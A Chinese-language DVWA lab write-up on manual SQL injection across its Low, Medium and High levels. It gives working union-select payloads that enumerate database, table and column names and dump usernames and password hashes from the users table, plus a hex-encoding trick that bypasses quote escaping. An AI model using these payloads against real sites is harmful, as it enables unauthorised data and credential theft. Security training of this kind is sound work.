DVWA SQL Injection
MySql相关知识
MySQL5.0版本之后,MySQL默认在数据库中存放一个“information_cshema”的数据库,在该数据库中分别有三个表:SCHEMATA、TABLES、COLUMNS
- SCHEMATA
存储该用户创建的所有数据库的库名,其中SCHEMA_NAME字段存放数据库库名 - TABLES
TABLES表中存储用户创建的所有数据库的库名和表名,其中TABLE_SCHEMA字段存放数据库库名,TABLE_NAME字段存放数据库表名 - COLUMNS
COLUMNS表存储用户创建的所有数据库的库名、表名、字段名,其中TABLE_SCHEMA字段存放数据库库名,TABLE_NAME字段存放数据库表名,COLUMN_NAME字段存放数据库字段名
手工注入思路(非盲注)
1.判断是否存在注入点,注入是字符型注入还是数字型注入
2.判断SQL查询语句中的字段数
3.确定回显点
4.获取当前数据库
5.获取当前数据库中的表名
6.获取表中字段名
7.查询字段,获取表中数据
Low
1.判断是否存在注入点,注入是字符型注入还是数字型注入
输入1,页面正常
输入1' and '1'='1 页面正常,判断存在字符型注入
2.猜解SQL查询语句中的字段数
输入1' and 1 order by 1,2# 查询成功
输入1' and 1 order by 3# 查询失败,说明执行的SQL查询语句中只有两个字段
3.确定回显点
输入1' union select 1,2#
4.获取当前数据库
输入 1' union seecet 1,database()#,查得当前数据库为dvwa
5.获取数据库表名
输入1' union select 1,table_name from information_schema.tables where table_schema=database()#,查得当前数据库有两个表,guestbook和users
6.获取表中字段名
输入1' union select 1,column_name from information_schema.columns where table_name='users'#,查得users表中字段:user_id、first_name、last_name、user、password、avatar、last_login、failed_login
7.查询字段,获取表中数据
输入1' union select user,password from users#,查得user和password的数据
Medium
前端使用了下拉选择菜单,所以选择使用burp抓包,通过修改参数来提交恶意构造的查询语句
抓到数据包如下
将数据包发送到Repeater模块,通过修改参数id来提交构造的查询语句
1.判断是否存在注入点,注入是字符型注入还是数字型注入
修改参数id为1' and '1'='1 页面报错
修改参数id为1 and 1=1 查询成功,说明存在数字型注入
2.判断SQL查询语句中的字段数
修改参数id为1 order by 1,2查询成功
修改参数id为1 order by 1,2,3查询失败,说明执行的SQL查询语句中只有两个字段
3.确定回显点
修改参数id为1 union select 1,2
4.获取当前数据库
修改参数id为1 union select 1,database(),查得数据库名为dvwa
5.获取当前数据库中的表名
修改参数id为1 union select 1,table_name from information_schema.tables where table_schema=database(),查得数据库中有guestbook和users两个表
获取表中字段名
修改参数id为1 union select 1,column_name from information_schema.columns where table_name='users',查询失败,查看报错信息可知失败原因是'被转义为\'
可以使用十六进制绕过,修改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273,查询成功,查得字段名user_id、first_name、last_name、user、password、avatar、last_login、failed_login
这里为了方便在burp中观察使用了group_concat函数对字段名进行了拼接
7.查询字段,获取表中数据
修改参数id为1 union select user,password from users,查得user和password的数据
High
虽然High级别的查询提交页面与查询结果显示页面不是同一个,但手工注入过程和Low级别基本一致,这里便不再赘述,将直接演示最后一步查询字段,获取表中数据
输入1' and 1 union select user,password from users#,即可获取user和password的数据
这里查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入